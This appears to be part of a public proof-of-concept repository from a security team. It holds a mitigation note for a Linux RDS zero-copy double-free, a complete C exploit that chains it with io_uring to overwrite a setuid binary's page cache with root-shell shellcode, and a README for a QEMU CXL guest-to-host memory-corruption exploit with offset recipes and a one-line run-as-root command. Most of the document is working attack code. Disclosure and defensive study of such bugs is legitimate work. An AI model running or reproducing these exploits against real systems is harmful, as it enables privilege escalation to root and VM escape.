target page to be populated after allocator zeroing and after the filesystem
fills the page from disk.
Confirmed default exposure is limited by module availability. The required RDS
module is default on Arch Linux, but not on most common distribution kernels we
checked.
## Mitigation
If RDS is not needed, disable or block it:
```
rmmod rds_tcp rds
printf 'install rds /bin/false\ninstall rds_tcp /bin/false\n' > /etc/modprobe.d/pintheft.conf
```
## Credit
Found with V12 by Aaron Esau of the V12 security team: [v12.sh](https://v12.sh): dangerously powerful agentic security.

786
pintheft/poc.c Normal file
View file

@ -0,0 +1,786 @@
/*
* RDS zcopy double-free -> LPE via io_uring page cache overwrite
*
* Bug: rds_message_zcopy_from_user() pins user pages via GUP (FOLL_GET) one
* at a time. If a later page faults, the error path put_page()s the already
* pinned pages, then rds_message_purge() __free_page()s them again because
* op_mmp_znotifier was NULLed but op_nents/sg entries were left intact. When
* the page still has other references, __free_page silently decrements the
* refcount. Each failing sendmsg steals exactly one ref from the first page.
*
* On kernels with CONFIG_INIT_ON_ALLOC_DEFAULT_ON (which enables the
* check_pages static key), __free_pages_prepare will see nonzero memcg_data
* on a charged page and call bad_page(). init_on_alloc also zeros every
* newly allocated page, destroying any payload placed before allocation.
*
* We bypass both. Pin the target page via io_uring REGISTER_BUFFERS, which
* adds GUP_PIN_COUNTING_BIAS (1024) to the refcount through FOLL_PIN. Steal
* all 1024 pin refs with failing zcopy sends. The page refcount is now ~1
* (just the PTE mapping). munmap takes the normal __folio_put path, which
* calls mem_cgroup_uncharge (clearing memcg_data) before freeing. No
* bad_page check fires. Page freed cleanly to PCP.
*
* io_uring keeps the raw struct page* in its bvec array with no liveness
* checks. After the page is reclaimed as page cache for a suid binary,
* READ_FIXED writes our payload into it through that dangling pointer. The
* write lands after init_on_alloc zeroing and after the fs populates the
* page from disk, so the payload survives.
*
* Closing ring1 would normally unpin the buffer (folio_put_refs with 1024),
* corrupting whatever page now lives at that frame. We prevent this with
* IORING_REGISTER_CLONE_BUFFERS: cloning to a second ring increments
* imu->refs. io_buffer_unmap sees refs > 1 and returns without unpinning.
* A forked daemon child holds the clone ring fd open indefinitely.
*
* PCP is LIFO, so we pin to one CPU and drain stale entries before freeing,
* putting our page at the top when the page cache allocator grabs it.
*
* Chain: register(+1024) -> clone(refs=2) -> daemon holds clone -> steal
* 1024 refs -> evict target page cache -> drain PCP -> munmap(free) ->
* pread target(reclaim) -> READ_FIXED(overwrite) -> verify -> exec -> root
*
* Requires CONFIG_RDS, CONFIG_RDS_TCP (auto-loaded via SO_RDS_TRANSPORT=2
* since the zcopy path checks t_type == RDS_TRANS_TCP), CONFIG_IO_URING
* with io_uring_disabled=0, and a readable suid-root binary. No capabilities
* needed. x86_64 payload, technique is arch-independent.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <linux/io_uring.h>
#include <linux/rds.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#define PAGE_SIZE 4096
#define GUP_PIN_COUNTING_BIAS 1024
#define PORT_BASE 20000
#define MAX_RETRIES 5
static const uint8_t SHELL_ELF[129] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x8d,
0x3d,0xdb,0xff,0xff,0xff,0x6a,0x00,0x57,0x48,0x89,0xe6,0x31,0xd2,0xb0,0x3b,0x0f,
0x05,
};
static const char *suid_candidates[] = {
"/usr/bin/su",
"/bin/su",
"/usr/bin/mount",
"/usr/bin/passwd",
"/usr/bin/chsh",
"/usr/bin/newgrp",
"/usr/bin/umount",
"/usr/bin/pkexec",
"/mnt/suid_helper",
NULL,
};
#define ANSI_RESET "\033[0m"
#define ANSI_BOLD "\033[1m"
#define ANSI_RED "\033[1;31m"
#define ANSI_GREEN "\033[1;32m"
#define ANSI_YELLOW "\033[1;33m"
#define ANSI_CYAN "\033[1;36m"
#define ANSI_WHITE "\033[1;37m"
#define LOG(fmt, ...) fprintf(stderr, ANSI_CYAN "[*]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, ANSI_RED "[-]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__)
#define OK(fmt, ...) fprintf(stderr, ANSI_GREEN "[+]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__)
/*
* draw_page_chain visualise the 3-node handlepointerpage relationship.
*
* [io_uring bvec] arr [struct page *] arr [page state]
*
* c1/c3: ANSI color for the left/right boxes.
* carr/arr: ANSI color + exactly 11-display-column arrow string.
* tag1: 18 chars, status label for the bvec box.
* l3a/l3b: 22 chars each, two content lines for the page-state box.
*/
static void draw_page_chain(
const char *c1, const char *tag1,
const char *carr, const char *arr,
const char *c3, const char *l3a, const char *l3b)
{
fprintf(stderr, "\n"
/* top borders */
" %s┌────────────────────┐%s "
"┌──────────────────────┐ "
"%s┌──────────────────────────┐%s\n"
/* content row 1: arrow lives here */
" %s│ io_uring bvec │%s %s%s%s "
"│ struct page * │ %s%s%s "
"%s│ %-22.22s │%s\n"
/* content row 2 */
" %s│ %-18.18s│%s "
"│ (kernel vaddr) │ "
"%s│ %-22.22s │%s\n"
/* bottom borders */
" %s└────────────────────┘%s "
"└──────────────────────┘ "
"%s└──────────────────────────┘%s\n\n",
c1, ANSI_RESET, c3, ANSI_RESET,
c1, ANSI_RESET, carr, arr, ANSI_RESET, carr, arr, ANSI_RESET, c3, l3a, ANSI_RESET,
c1, tag1, ANSI_RESET, c3, l3b, ANSI_RESET,
c1, ANSI_RESET, c3, ANSI_RESET);
}
static void hexdump(const char *label, const void *data, size_t len) {
const uint8_t *p = data;
if (label)
fprintf(stderr, ANSI_CYAN "[*]" ANSI_RESET " %s (%zu bytes):\n", label, len);
for (size_t i = 0; i < len; i += 16) {
fprintf(stderr, ANSI_CYAN " %04zx:" ANSI_RESET " ", i);
for (size_t j = 0; j < 16; j++) {
if (i + j < len)
fprintf(stderr, ANSI_YELLOW "%02x " ANSI_RESET, p[i + j]);
else
fprintf(stderr, " ");
if (j == 7) fprintf(stderr, " ");
}
fprintf(stderr, " " ANSI_GREEN "|");
for (size_t j = 0; j < 16 && i + j < len; j++) {
uint8_t c = p[i + j];
fprintf(stderr, "%c", (c >= 0x20 && c < 0x7f) ? c : '.');
}
fprintf(stderr, "|" ANSI_RESET "\n");
}
fprintf(stderr, "\n");
}
static void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(1);
}
}
static const char *find_suid_target(void) {
for (int i = 0; suid_candidates[i]; i++) {
struct stat st;
if (stat(suid_candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
OK("found suid target: %s", suid_candidates[i]);
return suid_candidates[i];
}
}
return NULL;
}
static int backup_target(const char *path) {
const char *name = strrchr(path, '/');
name = name ? name + 1 : path;
char backup[256];
snprintf(backup, sizeof(backup), "/tmp/.backup_%s_%d", name, getpid());
LOG("backing up %s → %s", path, backup);
int src = open(path, O_RDONLY);
if (src < 0) { perror("open src"); return -1; }
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (dst < 0) { perror("open dst"); close(src); return -1; }
char tmp[4096];
ssize_t n;
while ((n = read(src, tmp, sizeof(tmp))) > 0) {
if (write(dst, tmp, n) != n) { perror("write"); close(src); close(dst); return -1; }
}
close(src);
close(dst);
OK("backup created: %s", backup);
return 0;
}
static int steal_one_ref(void *page_addr, int port) {
int fd = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (fd < 0) return -1;
int v = 1;
setsockopt(fd, SOL_SOCKET, SO_ZEROCOPY, &v, sizeof(v));
int sndbuf = 2 * 4096 * 4;
setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
v = 2;
setsockopt(fd, SOL_RDS, SO_RDS_TRANSPORT, &v, sizeof(v));
struct sockaddr_in a = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
.sin_port = htons(port),
};
if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) {
close(fd);
return -1;
}
a.sin_port = htons(port + 1);
struct iovec iov = { page_addr, 2 * PAGE_SIZE };
char cb[CMSG_SPACE(sizeof(uint32_t))];
memset(cb, 0, sizeof(cb));
struct cmsghdr *cm = (struct cmsghdr *)cb;
cm->cmsg_level = SOL_RDS;
cm->cmsg_type = RDS_CMSG_ZCOPY_COOKIE;
cm->cmsg_len = CMSG_LEN(sizeof(uint32_t));
struct msghdr m = {
.msg_name = &a,
.msg_namelen = sizeof(a),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cb,
.msg_controllen = sizeof(cb),
};
sendmsg(fd, &m, MSG_ZEROCOPY | MSG_DONTWAIT);
close(fd);
return 0;
}
struct uring {
int fd;
void *sq_ring;
void *cq_ring;
struct io_uring_sqe *sqes;
uint32_t *sq_head;
uint32_t *sq_tail;
uint32_t *sq_mask;
uint32_t *sq_array;
uint32_t *cq_head;
uint32_t *cq_tail;
uint32_t *cq_mask;
struct io_uring_cqe *cqes;
size_t sq_ring_sz;
size_t cq_ring_sz;
size_t sqes_sz;
};
static int uring_setup(struct uring *r, unsigned entries) {
struct io_uring_params p;
memset(&p, 0, sizeof(p));
r->fd = syscall(__NR_io_uring_setup, entries, &p);
if (r->fd < 0) {
perror("io_uring_setup");
return -1;
}
r->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(uint32_t);
r->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);
r->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe);
r->sq_ring = mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING);
if (r->sq_ring == MAP_FAILED) { perror("mmap sq_ring"); return -1; }
r->cq_ring = mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING);
if (r->cq_ring == MAP_FAILED) { perror("mmap cq_ring"); return -1; }
r->sqes = mmap(NULL, r->sqes_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES);
if (r->sqes == MAP_FAILED) { perror("mmap sqes"); return -1; }
r->sq_head = r->sq_ring + p.sq_off.head;
r->sq_tail = r->sq_ring + p.sq_off.tail;
r->sq_mask = r->sq_ring + p.sq_off.ring_mask;
r->sq_array = r->sq_ring + p.sq_off.array;
r->cq_head = r->cq_ring + p.cq_off.head;
r->cq_tail = r->cq_ring + p.cq_off.tail;
r->cq_mask = r->cq_ring + p.cq_off.ring_mask;
r->cqes = r->cq_ring + p.cq_off.cqes;
fprintf(stderr,
ANSI_CYAN "[*]" ANSI_RESET " io_uring ring ready:\n"
ANSI_CYAN " fd" ANSI_RESET " = " ANSI_YELLOW "%d\n" ANSI_RESET
ANSI_CYAN " sq_entries" ANSI_RESET " = " ANSI_YELLOW "%u" ANSI_RESET
" sq_ring @ " ANSI_WHITE "%p" ANSI_RESET " (sz " ANSI_YELLOW "0x%zx" ANSI_RESET ")\n"
ANSI_CYAN " cq_entries" ANSI_RESET " = " ANSI_YELLOW "%u" ANSI_RESET
" cq_ring @ " ANSI_WHITE "%p" ANSI_RESET " (sz " ANSI_YELLOW "0x%zx" ANSI_RESET ")\n"
ANSI_CYAN " sqes" ANSI_RESET " @ " ANSI_WHITE "%p" ANSI_RESET
" (sz " ANSI_YELLOW "0x%zx" ANSI_RESET ", each " ANSI_YELLOW "0x%zx" ANSI_RESET " bytes)\n",
r->fd,
p.sq_entries, r->sq_ring, r->sq_ring_sz,
p.cq_entries, r->cq_ring, r->cq_ring_sz,
r->sqes, r->sqes_sz, sizeof(struct io_uring_sqe));
return 0;
}
static int uring_register_buffers(struct uring *r, void *buf, size_t len) {
struct iovec iov = { .iov_base = buf, .iov_len = len };
int ret = syscall(__NR_io_uring_register, r->fd,
IORING_REGISTER_BUFFERS, &iov, 1);
if (ret < 0) {
perror("io_uring_register buffers");
return -1;
}
return 0;
}
static int uring_clone_buffers(struct uring *dst, struct uring *src) {
struct io_uring_clone_buffers arg;
memset(&arg, 0, sizeof(arg));
arg.src_fd = src->fd;
arg.flags = 0;
arg.nr = 0; /* clone all */
int ret = syscall(__NR_io_uring_register, dst->fd,
IORING_REGISTER_CLONE_BUFFERS, &arg, 1);
if (ret < 0) {
perror("io_uring clone buffers");
return -1;
}
return 0;
}
/*
* Fork a daemon child that holds ring2_fd open, preventing imu cleanup.
* When ring1 is destroyed, io_buffer_unmap sees imu->refs > 1 and skips
* the unpin_user_folio call that would corrupt the freed page's refcount.
*/
static pid_t spawn_ring_holder(int ring2_fd) {
pid_t pid = fork();
if (pid != 0) return pid; /* parent */
/* child: hold ring2_fd open forever */
/* clear CLOEXEC so execl doesn't close it */
fcntl(ring2_fd, F_SETFD, 0);
/* close everything else */
for (int fd = 0; fd < 1024; fd++)
if (fd != ring2_fd) close(fd);
/* become a daemon — just sleep */
open("/dev/null", O_RDONLY); /* fd 0 */
open("/dev/null", O_WRONLY); /* fd 1 */
open("/dev/null", O_WRONLY); /* fd 2 */
execl("/bin/sleep", "sleep", "99999", (char *)NULL);
_exit(0);
}
static int uring_submit_read_fixed(struct uring *r, int file_fd,
void *buf, uint32_t len) {
uint32_t tail = *r->sq_tail;
uint32_t idx = tail & *r->sq_mask;
struct io_uring_sqe *sqe = &r->sqes[idx];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_READ_FIXED;
sqe->fd = file_fd;
sqe->off = 0;
sqe->addr = (uint64_t)(unsigned long)buf;
sqe->len = len;
sqe->buf_index = 0;
sqe->user_data = 0x1234;
fprintf(stderr,
ANSI_CYAN "[*]" ANSI_RESET " SQE[" ANSI_YELLOW "%u" ANSI_RESET "] "
ANSI_WHITE "IORING_OP_READ_FIXED" ANSI_RESET ":\n"
" fd = " ANSI_YELLOW "%d\n" ANSI_RESET
" addr = " ANSI_WHITE "0x%016llx\n" ANSI_RESET
" len = " ANSI_YELLOW "0x%x" ANSI_RESET " (%u bytes)\n"
" buf_index = " ANSI_YELLOW "%u\n" ANSI_RESET
" off = " ANSI_YELLOW "0x%llx\n" ANSI_RESET
" user_data = " ANSI_WHITE "0x%llx\n" ANSI_RESET,
idx, file_fd,
(unsigned long long)sqe->addr,
sqe->len, sqe->len,
(unsigned)sqe->buf_index,
(unsigned long long)sqe->off,
(unsigned long long)sqe->user_data);
r->sq_array[idx] = idx;
__atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE);
int ret = syscall(__NR_io_uring_enter, r->fd, 1, 1,
IORING_ENTER_GETEVENTS, NULL, (size_t)0);
if (ret < 0) {
perror("io_uring_enter");
return -1;
}
return 0;
}
static int uring_wait_cqe(struct uring *r, int32_t *res_out) {
uint32_t head = *r->cq_head;
uint32_t tail;
for (int i = 0; i < 1000; i++) {
tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);
if (head != tail) break;
usleep(1000);
}
tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE);
if (head == tail) {
ERR("CQ timeout — no completion");
return -1;
}
uint32_t idx = head & *r->cq_mask;
struct io_uring_cqe *cqe = &r->cqes[idx];
if (res_out) *res_out = cqe->res;
__atomic_store_n(r->cq_head, head + 1, __ATOMIC_RELEASE);
return 0;
}
static void uring_destroy(struct uring *r) {
if (r->sq_ring != MAP_FAILED) munmap(r->sq_ring, r->sq_ring_sz);
if (r->cq_ring != MAP_FAILED) munmap(r->cq_ring, r->cq_ring_sz);
if (r->sqes != MAP_FAILED) munmap(r->sqes, r->sqes_sz);
if (r->fd >= 0) close(r->fd);
r->fd = -1;
}
static int create_payload_file(void) {
char path[] = "/tmp/.payload_XXXXXX";
int fd = mkstemp(path);
if (fd < 0) { perror("mkstemp"); return -1; }
unlink(path);
uint8_t page[PAGE_SIZE];
memset(page, 0, sizeof(page));
memcpy(page, SHELL_ELF, sizeof(SHELL_ELF));
if (write(fd, page, PAGE_SIZE) != PAGE_SIZE) {
perror("write payload");
close(fd);
return -1;
}
return fd;
}
static int evict_page_cache(const char *path) {
int fd = open(path, O_RDONLY);
if (fd < 0) { perror("open for fadvise"); return -1; }
if (posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED) < 0) {
perror("fadvise");
close(fd);
return -1;
}
close(fd);
return 0;
}
static int attempt_exploit(const char *target, pid_t *daemon_out) {
LOG("=== starting exploit attempt ===");
/* 1. mmap anon page + PROT_NONE guard */
void *buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) { perror("mmap buf"); return -1; }
/* touch the page to ensure it's faulted in */
memset(buf, 'A', PAGE_SIZE);
/* set second page as PROT_NONE guard */
if (mprotect((char *)buf + PAGE_SIZE, PAGE_SIZE, PROT_NONE) < 0) {
perror("mprotect guard");
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
OK("mapped buf=%p, guard at %p", buf, (char *)buf + PAGE_SIZE);
fprintf(stderr,
ANSI_WHITE " ┌─ page @ " ANSI_YELLOW "%p" ANSI_WHITE
" refcount:" ANSI_GREEN " 1" ANSI_WHITE " (PTE only)" ANSI_RESET "\n\n", buf);
/* 2. io_uring setup + register buffer (pins page, refcount += 1024) */
struct uring ring;
memset(&ring, 0, sizeof(ring));
ring.fd = -1;
ring.sq_ring = MAP_FAILED;
ring.cq_ring = MAP_FAILED;
ring.sqes = MAP_FAILED;
if (uring_setup(&ring, 4) < 0) {
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
if (uring_register_buffers(&ring, buf, PAGE_SIZE) < 0) {
uring_destroy(&ring);
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
OK("io_uring buffer registered (refcount now ~1025)");
draw_page_chain(
ANSI_GREEN, "REGISTERED (+1024)",
ANSI_WHITE, "──────────▶",
ANSI_GREEN, "anon page", "refcnt:1025 FOLL_PIN");
/* 2b. Clone buffers to ring2 + spawn daemon to hold imu ref */
struct uring ring2;
memset(&ring2, 0, sizeof(ring2));
ring2.fd = -1;
ring2.sq_ring = MAP_FAILED;
ring2.cq_ring = MAP_FAILED;
ring2.sqes = MAP_FAILED;
if (uring_setup(&ring2, 1) < 0) {
uring_destroy(&ring);
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
if (uring_clone_buffers(&ring2, &ring) < 0) {
uring_destroy(&ring2);
uring_destroy(&ring);
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
OK("cloned buffers to ring2 (imu->refs now 2)");
fprintf(stderr,
ANSI_WHITE " ├─ IORING_REGISTER_CLONE_BUFFERS → imu->refs:" ANSI_GREEN " 2\n"
" └─ ring2 fd will block io_buffer_unmap from calling unpin_user_folio" ANSI_RESET "\n\n");
pid_t daemon = spawn_ring_holder(ring2.fd);
if (daemon < 0) {
uring_destroy(&ring2);
uring_destroy(&ring);
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
/* parent closes ring2 — daemon holds the only ref to ring2 */
uring_destroy(&ring2);
OK("daemon pid=%d holds ring2 (prevents unpin on ring1 cleanup)", daemon);
*daemon_out = daemon;
/* 3. steal 1024 refs via failing zcopy sends */
LOG("stealing %d refcounts...", GUP_PIN_COUNTING_BIAS);
int stolen = 0;
for (int i = 0; i < GUP_PIN_COUNTING_BIAS; i++) {
int port = PORT_BASE + i * 2;
int ret = steal_one_ref(buf, port);
if (ret < 0) {
/* port in use or RDS unavailable, skip */
continue;
}
stolen++;
if (stolen % 256 == 0)
LOG(" stolen %d/%d refs", stolen, GUP_PIN_COUNTING_BIAS);
}
OK("stole %d refcounts (refcount now ~1)", stolen);
draw_page_chain(
ANSI_YELLOW, "refs stolen (1024)",
ANSI_YELLOW, "──────────▶",
ANSI_YELLOW, "anon page", "refcnt:~1 pin gone");
if (stolen < GUP_PIN_COUNTING_BIAS) {
ERR("only stole %d/%d refs — may not be enough",
stolen, GUP_PIN_COUNTING_BIAS);
if (stolen < GUP_PIN_COUNTING_BIAS - 10) {
ERR("too few stolen refs, aborting");
uring_destroy(&ring);
munmap(buf, 2 * PAGE_SIZE);
return -1;
}
}
/* 4. evict suid binary from page cache BEFORE freeing our page */
LOG("evicting %s page 0 from page cache...", target);
if (evict_page_cache(target) < 0) {
ERR("failed to evict page cache");
uring_destroy(&ring);
return -1;
}
OK("page cache evicted");
/* 6. drain PCP: allocate many pages to push stale entries out */
LOG("draining PCP...");
void *drain_pages[256];
for (int i = 0; i < 256; i++) {
drain_pages[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
}
/* 7. munmap first page → refcount 1→0 → freed to TOP of PCP (LIFO) */
LOG("unmapping buf to trigger free (refcount 1 -> 0)...");
if (munmap(buf, PAGE_SIZE) < 0) {
perror("munmap buf");
uring_destroy(&ring);
return -1;
}
OK("page freed to top of PCP — io_uring retains dangling struct page*");
draw_page_chain(
ANSI_RED, "DANGLING! (bvec)",
ANSI_RED, "─X────────▶",
ANSI_RED, "FREED (PCP top)", "refcnt:0 PTE gone");
/* 8. IMMEDIATELY read suid binary → page cache alloc grabs from PCP top */
LOG("reading %s to reclaim freed page into page cache...", target);
int tfd = open(target, O_RDONLY);
if (tfd < 0) { perror("open target"); uring_destroy(&ring); return -1; }
/* no fadvise — let the kernel do default readahead */
uint8_t verify_buf[PAGE_SIZE];
if (pread(tfd, verify_buf, PAGE_SIZE, 0) < 0) {
perror("pread target"); close(tfd); uring_destroy(&ring); return -1;
}
close(tfd);
OK("page cache populated");
{
char pcache_label[24];
const char *bn = strrchr(target, '/');
snprintf(pcache_label, sizeof(pcache_label), "%.18s pg0", bn ? bn + 1 : target);
draw_page_chain(
ANSI_RED, "DANGLING! (bvec)",
ANSI_RED, "──────────▶",
ANSI_YELLOW, "page cache (live!)", pcache_label);
}
/* snapshot legitimate page content before we overwrite it */
uint8_t before_buf[64] = {0};
{
int snap = open(target, O_RDONLY);
if (snap >= 0) {
pread(snap, before_buf, sizeof(before_buf), 0);
close(snap);
}
}
hexdump("page cache page 0 BEFORE overwrite (legitimate ELF)", before_buf, sizeof(before_buf));
/* clean up drain pages AFTER page cache allocation */
for (int i = 0; i < 256; i++)
if (drain_pages[i] != MAP_FAILED) munmap(drain_pages[i], PAGE_SIZE);
/* create payload file AFTER page cache allocation */
int payload_fd = create_payload_file();
if (payload_fd < 0) {
uring_destroy(&ring);
return -1;
}
/* 9. READ_FIXED: DMA writes payload into page cache via dangling page */
LOG("submitting IORING_OP_READ_FIXED to overwrite page cache...");
if (uring_submit_read_fixed(&ring, payload_fd, buf, PAGE_SIZE) < 0) {
close(payload_fd);
uring_destroy(&ring);
return -1;
}
int32_t cqe_res;
if (uring_wait_cqe(&ring, &cqe_res) < 0) {
close(payload_fd);
uring_destroy(&ring);
return -1;
}
close(payload_fd);
if (cqe_res < 0) {
ERR("READ_FIXED CQE error: %d (%s)", cqe_res, strerror(-cqe_res));
uring_destroy(&ring);
return -1;
}
OK("READ_FIXED completed: %d bytes written via DMA", cqe_res);
draw_page_chain(
ANSI_RED, "UAF WRITE (bvec)",
ANSI_RED, "══DMA═════▶",
ANSI_RED, "PAGE CACHE PWNED", "our shellcode \\o/");
/* 9. verify overwrite */
LOG("verifying page cache overwrite...");
tfd = open(target, O_RDONLY);
if (tfd < 0) {
perror("open target for verify");
uring_destroy(&ring);
return -1;
}
uint8_t check[sizeof(SHELL_ELF)];
if (pread(tfd, check, sizeof(check), 0) != sizeof(check)) {
perror("pread verify");
close(tfd);
uring_destroy(&ring);
return -1;
}
close(tfd);
hexdump("page cache page 0 AFTER overwrite (our shellcode)", check, sizeof(SHELL_ELF));
if (memcmp(check, SHELL_ELF, sizeof(SHELL_ELF)) != 0) {
int first_diff = -1;
for (int i = 0; i < (int)sizeof(SHELL_ELF); i++) {
if (check[i] != SHELL_ELF[i]) { first_diff = i; break; }
}
ERR("verification FAILED \u2014 first mismatch at byte %d", first_diff);
if (first_diff >= 0) {
ERR(" expected[%d]: %02x got[%d]: %02x",
first_diff, SHELL_ELF[first_diff], first_diff, check[first_diff]);
ERR(" page cache page 0 was NOT overwritten \u2014 io_uring wrote to wrong page");
}
uring_destroy(&ring);
return -1;
}
OK("verification PASSED — page cache overwritten with SHELL_ELF");
/* With clone fix, uring_destroy is safe — imu->refs > 1 skips unpin */
uring_destroy(&ring);
/* 10. exec suid binary → root shell */
OK("executing %s (now contains setuid(0) + execve /bin/sh)...", target);
fprintf(stderr, "\n");
fprintf(stderr,
ANSI_YELLOW ANSI_BOLD
"=== RESTORE: sudo cp /tmp/.backup_%s_%d %s && sudo chmod u+s %s ==="
ANSI_RESET "\n",
strrchr(target, '/') + 1, getpid(), target, target);
fflush(stderr);
/* close all fds > 2 EXCEPT ring fd doesn't matter, execl replaces us */
for (int fd = 3; fd < 1024; fd++) close(fd);
execl(target, target, (char *)NULL);
perror("execl");
return -1;
}
int main(void) {
pin_cpu(0);
LOG("pinned to CPU 0");
const char *target = find_suid_target();
if (!target) {
ERR("no suid binary found");
return 1;
}
if (backup_target(target) < 0) {
ERR("backup failed, aborting for safety");
return 1;
}
pid_t daemons[MAX_RETRIES];
int ndaemons = 0;
for (int attempt = 0; attempt < MAX_RETRIES; attempt++) {
LOG("attempt %d/%d", attempt + 1, MAX_RETRIES);
pid_t daemon = 0;
int ret = attempt_exploit(target, &daemon);
if (daemon > 0)
daemons[ndaemons++] = daemon;
if (ret == 0)
return 0; /* attempt_exploit exec'd */
ERR("attempt %d failed, retrying...", attempt + 1);
sleep(1);
}
/* all attempts failed; kill accumulated daemons */
for (int i = 0; i < ndaemons; i++) {
kill(daemons[i], SIGKILL);
waitpid(daemons[i], NULL, 0);
}
ERR("all %d attempts failed", MAX_RETRIES);
return 1;
}

147
qemu/README.md Normal file
View file

@ -0,0 +1,147 @@
# QEMUtiny
https://github.com/user-attachments/assets/9ff4e5f2-9bfe-405a-a6b9-2ee43fb8352a
## Abstract
QEMUtiny is a memory corruption vulnerability in QEMU's implementation of CXL Type-3
device emulation, reported against QEMU master `007b29752e` and confirmed
working against `5e61afe` (May 11, 2026).
QEMUtiny was discovered autonomously with [V12](https://v12.sh) by Aaron Esau of the
[V12 security team](https://x.com/v12sec).
> Want to find issues like this in your own code? Try V12 at [v12.sh](https://v12.sh).
The PoC chains two CXL mailbox bugs in `hw/cxl/cxl-mailbox-utils.c`: an
out-of-bounds read in `GET_LOG`, followed by an out-of-bounds write in
`SET_FEATURE`.
1. **OOB read:** `cmd_logs_get_log()` treats the CEL log offset as an array
index in the `memmove()` source expression even though the CXL mailbox
offset is in bytes.
2. **OOB write:** `cmd_features_set_feature()` accepts byte offsets into
several small feature write-attribute structures without checking that
`offset + bytes_to_copy` stays inside the selected structure.
We reported the bugs upstream. Maintainers state CXL support is currently for at non-virtualization use cases, so we feel comfortable release the PoC publicly.
The included `poc.c` is a working exploit that drives the emulated CXL mailbox from the guest through the device BAR. It depends on offsets for the specific QEMU build and host libc layout.
The exploit can be weaponized to work reliably across many QEMU versions using the OOB read to scan memory. However this is out of scope for this PoC.
## "QEMUtiny"?
QEMU + Mutiny.
## Offsets (USER FRIENDLY VERSION)
```
./update_poc_offsets.sh
```
- Replace `0x047E735` with `$(readelf -s qemu-system-x86_64 | grep cmd_logs_get_log | awk '{print $2}')`
- Replace `0x0341BB0` with `$(objdump -S qemu-system-x86_64 | grep "<memmove@plt>:" | awk '{print $1}')`
- Replace `0x01E72FF8` with `$(objdump -S qemu-system-x86_64 | grep "libc_start_main" | awk '{print $(NF-1)}')`
- Find libc: `ldd ./qemu-system-x86_64 | grep libc.so`
- Replace `0x2A200` with `readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep -i __libc_start_main | awk '{print $2}'`
- Replace `0x058750` with `readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep -i system@ | awk '{print $2}'`
## Building
```
./update_poc_offsets.sh
gcc -O2 -Wall -Wextra -o exp poc.c
```
The reproducer must be run as root inside the guest because it writes PCI config
space and mmaps the CXL device BAR through sysfs.
```
sudo ./exp
```
One-line version:
```
git clone https://github.com/v12-security/pocs.git && cd pocs/qemu && gcc -O2 -Wall -Wextra -o exp poc.c && sudo ./exp
```
## Test Setup
Use `./run_qemu_shell.sh`. Then in the guest, use `/exp`
`poc.c` assumes the CXL Type-3 device appears in the guest at:
```
/sys/bus/pci/devices/0000:35:00.0
```
and that BAR2 is exposed as:
```
